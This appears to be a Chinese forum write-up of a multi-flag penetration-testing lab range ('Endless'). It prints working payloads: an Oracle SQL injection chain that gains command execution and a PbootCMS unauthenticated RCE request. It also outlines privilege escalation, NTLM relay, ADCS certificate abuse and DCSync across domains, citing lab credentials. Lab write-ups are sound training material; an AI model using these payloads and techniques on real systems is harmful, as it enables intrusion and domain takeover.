-
-
[原创]Ichunqiu云境 —— Endless(无间计划) Writeup
-
发表于: 2023-3-21 13:44 9460
-
Ichunqiu云境 —— Endless(无间计划) Writeup
Author:小离-xiaoli
0x00 Intro
前言:
- 两个入口点,一个入口点是pboot-cms,另外一个是SQL注入
- 这边入口外网IP可能会有不一致得地方,因为靶场重启次数比较多,IP经常变化
- OSCP风格,不使用CS/MSF
- 这个靶场共有12个Flag
0x01 Recon
扫描结果:
入口点1 - SQL注入 (Linux):
入口点2 - Pboot-CMS (Linux):
0x02 入口点1 - SQL注入 (Linux)
前言:
- 一个站库分离的oracle注入,web是linux,注入点可以通过oracle注入发现到是一个windows,权限非dba,只有java runtime permission,这里没截图
- 这里前几次都没打成功,卡了挺久,后面搭建了个oracle和九世一起测试的
- 不建议用SqlMap,会把站打挂,并且可以看源码发现sqlmap提权函数没有定义关于oracle数据库的攻击方法
- Oracle 版本
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0
- 直接上payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | 1. . 创建JAVA Source admin ' and (select dbms_xmlquery.newcontext(' declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ' 'create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}' ';commit;end;' ) from dual)> 1 - - 2. 提权 admin ' AND (SELECT dbms_xmlquery.newcontext(' declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ' ' begin sys.dbms_cdc_publish.create_change_set(' '' ' a' '' ',' '' 'a' '' ',' '' 'a' '' '''''||TEST.pwn()||''' '''''a''' ',' '' 'Y' '' ',s ysdate,sysdate);end;' '; commit; end;' ) from dual)> 1 - - 3. 创建函数 admin ' and (select dbms_xmlquery.newcontext(' declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ' 'create or replace function LINXRUNCMD(p_cmd in varchar2) return varchar2 as language java name ' '' 'LinxUtil.runCMD(java.lang.String) return String' '' '; ' ';commit;end;' ) from dual)> 1 - - 4. 查询创建的函数 admin ' union select null,(select object_name from all_objects where object_name =' LINXRUNCMD' and rownum = 1 ),null from dual - - 5. 查询java source admin ' union select null,(select object_name from all_objects where object_name =' LinxUtil'),null from dual - - 6. 命令执行 admin ' union select null,(select LINXRUNCMD(' whoami') from dual),null from dual - - |
函数LINXRUNCMD创建成功
whoami,直接是system权限了
ipconfig,该数据库内网IP为 172.23.4.51,此时需要回到入口点2进入内网了
0x03 入口点2 - Pboot-CMS (Linux) - Flag 1
前言:
- 西湖论剑CTF的题目,有WAF,考你怎么绕过pboot cms的disable function,这里用的是大哥的payloadhttps://guokeya.github.io/post/WscncUrcS/
Payload(未授权RCE):
123456789101112GET
/
?a
=
}{pboot{user:password}:
if
((
"sys\x74em"
)(
"whoami"
));
/
/
)}xxx{
/
pboot{user:password}:
if
} HTTP
/
1.1
Host:
39.98
.
94.70
:
80
Cache
-
Control:
max
-
age
=
0
Upgrade
-
Insecure
-
Requests:
1
User
-
Agent: Mozilla
/
5.0
(Windows NT
10.0
; Win64; x64) AppleWebKit
/
537.36
(KHTML, like Gecko) Chrome
/
106.0
.
5249.62
Safari
/
537.36
Accept: text
/
html,application
/
xhtml
+
xml,application
/
xml;q
=
0.9
,image
/
avif,image
/
webp,image
/
apng,
*
/
*
;q
=
0.8
,application
/
signed
-
exchange;v
=
b3;q
=
0.9
Referer: http:
/
/
39.98
.
94.70
/
admin.php
Accept
-
Encoding: gzip, deflate
Accept
-
Language: en
-
US,en;q
=
0.9
Cookie: lg
=
cn; PbootSystem
=
h6o5ta1btl6o32bi184ula183l
Connection: close
Content
-
Length:
0
PrivESC to root with CVE-2022-2588(这里用不了pwnkit,pkexec玄学)
入口IP 172.23.4.32
Flag 1
0x05 Target: 172.23.4.51 - Flag 2
- 通过上面的入口点搭建代理,横向回到上面打下的oracle数据库 172.23.4.51,获取到Flag 2
0x04 Target: 172.23.4.12 - Flag 3
172.23.4.51 的Desktop 有个Usera的凭据
12username: usera@pentest.com
password:Admin3gv83
挂个代理,CME扫一扫
这里忘记截图了,usera对4.12能RDP,RDP上去就可以了
- 提权方法1:krbrelayup直接提权
- 提权方法2:usera对该机器有writedacl,能rbcd提权到system
横向上去后,发现C:\users\usera\目录下有.ssh目录,里面有一个私钥(私钥没截到图),known_hosts看到有个IP 172.23.4.19
Flag 3
0x05 Target: 172.23.4.19 (172.24.7.16) - Flag 4
使用在172.23.4.12获取到的私钥登录进入172.23.4.19,回到了上面入口点1的web服务器,获取到root权限
Flag 4
0x06 突破内网隔离处-1 - No Flag
- 172.23.4.12 - 双网卡 - 172.24.7.16
0x07 Target: 172.24.7.48 (绕路) - Flag 5
前言:
- 这里会绕路,是靶场设计思路的问题,我一开始也没想到能直接用CVE-2022-26923打下来,后面在这台机器上实在翻不到东西了,才用了CVE-2022-26923
- 后续和作者沟通了,作者原先是希望说从通过下述操作拿下机器后,找到一张管理员的证书,用证书直接打到域控,但是作者可能觉得太简单了,后面把证书删除了,后面复盘的时候作者说就是用 CVE-2022-26923 打下来
- 个人建议的话,可以在这台机器上弄一些信息泄露的点,用泄露的凭据改ESC1之类的,如果要增加难度的话,可以考虑把智能卡攻击也弄上
使用凭据usera扫描一下172.24.7.0/24,调用petitpotam
这里IP和主机名有点乱,我们备注一下
12345172.24
.
7.5
DCadmin.pen.me (当前不在我们的范围内)
172.24
.
7.48
IZAYSXE6VCUHB4Z.pentest.me (在范围内,未拿下)
172.24
.
7.16
IZMN9U6ZO3VTRNZ.pentest.me (在范围内,已经拿下)
172.24
.
7.3
DC.pentest.me (在范围内,未拿下)
172.24
.
7.43
IZMN9U6ZO3VTRPZ.pentest.me (在范围内,未拿下)
扫一扫webclient服务,确定172.24.7.48能打下了
难点在于你现在处于第二层网段,也好解决
- 端口转发链如下1
172.24
.
7.16
:
80
(双网卡,通
172.23
.
4.0
/
24
)
-
-
-
forward
-
-
-
172.23
.
4.19
:
81
(SSH)
-
-
-
forward
-
-
-
localhost:
79
-
-
-
forward
-
-
-
kali:
8001
- SSH端口转发监听127.0.0.1的问题可以看回我之前的文章:IChunQiu-spoofing
- 端口转发准备:
172.23.4.19
172.24.7.16(也是IP 172.23.4.12)
启用ntlmrelayx.py,这里的escalate-user写的是172.24.7.16的主机名,截图是已经用petitpotam触发回连了,可以看到是已经完成了rbcd攻击了
petitpotam触发webclient实现中继
Flag 5
0x08 Target: 172.24.7.3 - Flag 6
域控装了ADCS(直接SMB看域控共享就懂了)
提示ESC8
但是,经过复杂的操作 (停445+端口转发),却和我说ADCS关了ntlm认证
后面实在找不到东西了,直接CVE-2022-26923冲死,使用一个有效域凭据(普通权限)创建机器账户
CVE-2022-26923生成一张域控的证书
还原NTLM出来(这里忘记截图,只能用帮助文档了)
Dcsync
远程上172.24.7.3就能获得Flag 6了,这里忘记截图了
然后就顺便扫一扫看看有没有其他网卡
0x09 突破内网隔离处-2 - No Flag
- 172.24.7.3 - 双网卡 - 172.25.12.9
0x10 Target: 172.25.12.7 - Flag 7
前言:
- 这里原先是用sid history进行跨域攻击,但是靶场环境有问题,作者也排查了很多次,确认环境有问题,sid history始终没打成功(没有开启sid过滤),然后作者才选择更换攻击路径
DCadmin 这台机器也是双网卡(172.24.7.5 和 172.25.12.7),不知道为什么上面的探测没扫出来
到这里,我们更新一下笔记
1 2 3 4 5 6 7 8 9 10 11 | pen.me 172.25 . 12.7 ( 172.24 . 7.5 ) DCadmin.pen.me (在范围内,还没拿下) 172.25 . 12.19 IZ1TUCEKFDPCEMZ.pen.me (在范围内,还没拿下) 172.25 . 12.29 IZ88QYK8Y8Y3VXZ.pen.me (在范围内,还没拿下) pentest.me 172.25 . 12.9 ( 172.24 . 7.3 ) DC.pentest.me (在范围内,已经拿下) 172.24 . 7.48 IZAYSXE6VCUHB4Z.pentest.me (在范围内,已经拿下) 172.24 . 7.16 IZMN9U6ZO3VTRNZ.pentest.me (在范围内,已经拿下) 172.24 . 7.3 DC.pentest.me (在范围内,已经拿下) 172.24 . 7.43 IZMN9U6ZO3VTRPZ.pentest.me (在范围内,有管理员凭据,还没登录上去) |
Bloodhound看看是什么关系,可以看到,Administrator\@pentest.me 是 dcadmin.pen.me的管理员
这里也是有些奇怪,作者是可以直接横向过去的
- 嘿,轮到我就不行(不知道是什么原因,我psexec也没成功)
![[0aa4aa00a7fe78f9737c772e5d3c2a0.png]]
干脆就RBCD了,我也不纠结 (RBCD过程省略)
Flag 7
DCSync过程略
0x11 Target: 172.25.12.19 - Flag 8
- 用上面DCSync获取到的域管理员凭据直接横向就可以获取到 Flag 8 了
0x12 Target: 172.25.12.29 - Flag 9
- 用上面DCSync获取到的域管理员凭据直接横向就可以获取到 Flag 9 了
0x13 Target: 172.25.12.19 (Exchange) - Flag 10
看看这台机器的SPN,就知道172.25.12.19上面跑着Exchange了
在域内你可以快速过滤homeMDB这个attribute,就知道用户有没有登录过邮服了,以下这个Exchange用户是我们要看的
使用Exchange用户登录进入OWA,就可以获取到Flag 10 了
0x14 Target: 172.24.7.43 (172.26.8.12) - Flag 11
- 用上面在pentest.me里面DCSync获取到的管理员凭据直接横向过去172.24.7.43即可获取到Flag11 了
0x15 突破内网隔离处-3 - No Flag
- 172.24.7.43 - 双网卡 - 172.26.8.12
0x16 Target: 172.24.7.27 & 172.24.7.23 - No Flag
- 我们回到 172.24.7.0/24,内网扫描 172.24.7.0/24发现有两个web服务,一个confluence和一个gitlab,对应url如下
1 2 | confluence: 172.24 . 7.27 : 8090 gitlab: 172.24 . 7.23 |
使用上面获取到的usera凭据直接登录进入confluence,可以发现有两个xlsx列表,用最新的即可
无间实验室人员名单.xlsx
在dc.pentest.me批量跑一下ldap,发现都是有效凭据,这里随便一个域用户都能登录进入gitlab,但是都没项目(登录gitlab的图忘记截图了)
可以用在ldap筛选出有效用户(毕竟是ldap认证,当然你用kerbrute枚举也可以),然后配合利用git命令批量枚举,你能发现用户luizhuo有一个私人项目叫 Financial system-demo
有一个SQL Server的凭据,但是IP是127.0.0.1
找找commit历史,发现一个ip 172.26.8.16
凭据记录
1 2 3 | IP: 172.26 . 8.16 username: sa password: sqlserver_2022 |
\
- 后续复盘和作者交流过,gitlab不能直接拿下,但是最新的exp我没测试,有兴趣的大哥可以测试一下
0x17 Target: 172.26.8.16 - Flag 12
因为 172.24.7.43 这台机器通往 172.26.8.0/24网段,我们在 gitlab 172.24.7.23 刚好获取到过一个 SQL Server的凭据
123IP:
172.26
.
8.16
username: sa
password: sqlserver_2022
在这台机器上搞个代理,直接连接,然后一把梭(这里用的项目是https://github.com/Ridter/PySQLTools)
服务账户权限
CLR提权
直接改个管理员密码
Flag 12
0x18 Attack Graph
0x19 Outro
- 感谢九世大哥的协作帮忙,入口点帮助了很多,oracle注入那看到头秃了
- 感谢作者满秋和WHOAMI的帮助
- 靶场在做的过程中,发现了不少的BUG,但是作者都很热心的修补了BUG,期间还退还了沙子
- 做起来和你打攻防项目一样坐牢